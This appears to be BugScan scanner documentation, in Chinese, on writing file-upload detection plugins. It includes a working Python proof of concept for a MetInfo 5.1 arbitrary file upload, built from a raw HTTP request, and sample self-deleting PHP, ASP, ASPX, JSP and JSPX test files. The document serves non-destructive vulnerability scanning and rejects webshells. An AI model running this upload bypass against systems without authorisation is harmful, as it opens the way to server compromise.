文件上传类


文件上传类插件可以分两种方法进行上传:

  • raw (推荐)

    直接发送 HTTP 原始报文,可直接从 BurpSuite 中复制该报文,使用 hackhttp 的 raw 发包形式来上传文件。

  • post

    通过构造 enctype="multipart/form-data" 形式的 form 表单来上传文件。

    由于 MIME 类型较多,在处理时比较麻烦,官方推荐使用 raw 形式上传文件。

范例插件

MetInfo5.1 /feedback/uploadfile_save.php 任意文件上传

感谢插件作者: wonderkun

#!/usr/bin/evn python
# -*-:coding:utf-8 -*-
# Author: wonderkun
# Name: MetInfo5.1 任意文件上传 getshell
# Refer: http://www.wooyun.org/bugs/wooyun-2015-0139168
# Data: 2015/12/15

import time

def assign(service,arg):
    if service == fingerprint.metinfo:
        return True, arg

def audit(arg):
    url = arg + "feedback/uploadfile_save.php?met_file_format=pphphp&met_file_maxsize=9999&lang=metinfo"

    raw = '''
POST /feedback/uploadfile_save.php?met_file_format=pphphp&met_file_maxsize=9999&lang=metinfo HTTP/1.1
Host: localhost
Content-Length: 423
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: null
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.73 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryE1toBNeESf6p0uXQ
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: PHPSESSID=hfqa37uap92gdaoc2nsco6g0n1

------WebKitFormBoundaryE1toBNeESf6p0uXQ
Content-Disposition: form-data; name="fd_para[1][para]"

filea
------WebKitFormBoundaryE1toBNeESf6p0uXQ
Content-Disposition: form-data; name="fd_para[1][type]"

5
------WebKitFormBoundaryE1toBNeESf6p0uXQ
Content-Disposition: form-data; name="filea"; filename="test.php"
Content-Type: application/x-php

<?php echo md5(1);unlink(__FILE__);?>
------WebKitFormBoundaryE1toBNeESf6p0uXQ--
    '''
    # proxy=('127.0.0.1',8080)
    code1, head1, res1, finalurl1, log1 = hackhttp.http(url, raw=raw)

    # get upload file name
    name = int(time.time())
    for i in range(3):
        filename = name + i
        url = arg + 'upload/file/%s.php' % (str(filename))
        code2, head2, res2, finalurl2, log2 = hackhttp.http(url)
        if code2 == 200 and "c4ca4238a0b923820dcc509a6f75849b" in res2:
            # 只用传递触发漏洞的 log,验证上传成功的 log 不需要
            security_hole('file upload Vulnerable:' + arg + "feedback/uploadfile_save.php?met_file_format=pphphp&met_file_maxsize=9999&lang=metinfo", log=log1)
            break
if __name__ == '__main__':
    from dummy import *
    audit(assign(fingerprint.metinfo, "http://127.0.0.1/metinfo5.1/")[1])

文件上传类插件检测步骤

  1. 上传指定文件到目标
  2. 访问上传后的文件
  3. 判断是不是 1 中上传的文件

文件上传类的插件原则

  1. 一般情况下要求上传可执行的文件,例如:php, asp, aspx, jsp
  2. 上传文件内容要求对目标不得造成任何形式的损害。
  3. 上传后的文件,在访问一次之后应该自删除。
  4. 文件名应该尽量随机,不要与正常文件名相同。

上传文件样例代码

BugScan 社区官方提供了以下几类语言的上传检测样本,供开发者参考,所有文件都会在访问一次之后自删除,如果无删除权限时,由于其只输出字符串,也不会造成太大危害。

  • PHP

      <?php echo md5(233);unlink(__FILE__);?>
    

    输出: e165421110ba03099a1c0393373c5b43

  • ASP

      <%
      Response.Write chr(101)&chr(49)&chr(54)&chr(53)&chr(52)&chr(50)&chr(49)&chr(49)&chr(49)&chr(48)&chr(98)&chr(97)&chr(48)&chr(51)&chr(48)&chr(57)&chr(57)&chr(97)&chr(49)&chr(99)&chr(48)&chr(51)&chr(57)&chr(51)&chr(51)&chr(55)&chr(51)&chr(99)&chr(53)&chr(98)&chr(52)&chr(51)
      CreateObject("Scripting.FileSystemObject").DeleteFile(server.mappath(Request.ServerVariables("SCRIPT_NAME")))
      %>
    

    访问该文件后输出: e165421110ba03099a1c0393373c5b43

  • ASPX

      <%@Page Language="C#"%>
      <%
      Response.Write(System.Text.Encoding.GetEncoding(65001).GetString(System.Convert.FromBase64String("ZTE2NTQyMTExMGJhMDMwOTlhMWMwMzkzMzczYzViNDM=")));
      System.IO.File.Delete(Request.PhysicalPath);
      %>
    

    访问该文件后输出:e165421110ba03099a1c0393373c5b43

  • JSP

      <%
      out.println(new String(new sun.misc.BASE64Decoder().decodeBuffer("ZTE2NTQyMTExMGJhMDMwOTlhMWMwMzkzMzczYzViNDM=")));
      new java.io.File(application.getRealPath(request.getServletPath())).delete();
      %>
    

    访问该文件后输出:e165421110ba03099a1c0393373c5b43

  • JSPX

    <?xml version="1.0" encoding="UTF-8"?>
    <jsp:root xmlns="http://www.w3.org/1999/xhtml" version="2.0"  xmlns:jsp="http://java.sun.com/JSP/Page" xmlns:c="http://java.sun.com/jsp/jstl/core">  
    <jsp:directive.page contentType="text/html;charset=UTF-8" language="java" />  
    <jsp:scriptlet> 
    out.println(new String(new sun.misc.BASE64Decoder().decodeBuffer("ZTE2NTQyMTExMGJhMDMwOTlhMWMwMzkzMzczYzViNDM=")));
    new java.io.File(application.getRealPath(request.getServletPath())).delete();
    </jsp:scriptlet>
    </jsp:root>
    

    访问该文件后输出:e165421110ba03099a1c0393373c5b43

文件上传 Q & A

Q: 为什么不能上传 eval($_POST[a]);?

A: 上传 webshell 会对目标造成危害,违反了无损扫描这一约定,并且上传内容中包含后门特征,容易被防护产品拦截。


Q: 为什么不能上传 phpinfo();?

A: phpinfo();看起来无害实际上却有着泄漏目标服务敏感信息的危害。如果在检测后忘记删除文件,会对其它攻击者提供便利。


Q: 为什么要自删除?

A: 自删除可保证在检测之后不会在目标系统中留下检测时产生的文件,对目标影响较小。如果上传的件名不是随机的,在下次上传时会出现写入不成功的情况。


Q: 为什么文件名要随机?

A: 文件名随机在检测没有重命名处理的上传点时好处有:

  1. 如果文件名与现有的文件同名,写入会失败或者覆盖原文件。
  2. 第一次检测上传成功,在修复漏洞后忘记删除该文件,下次检测时访问该文件会产生误报。

results matching ""

    No results matching ""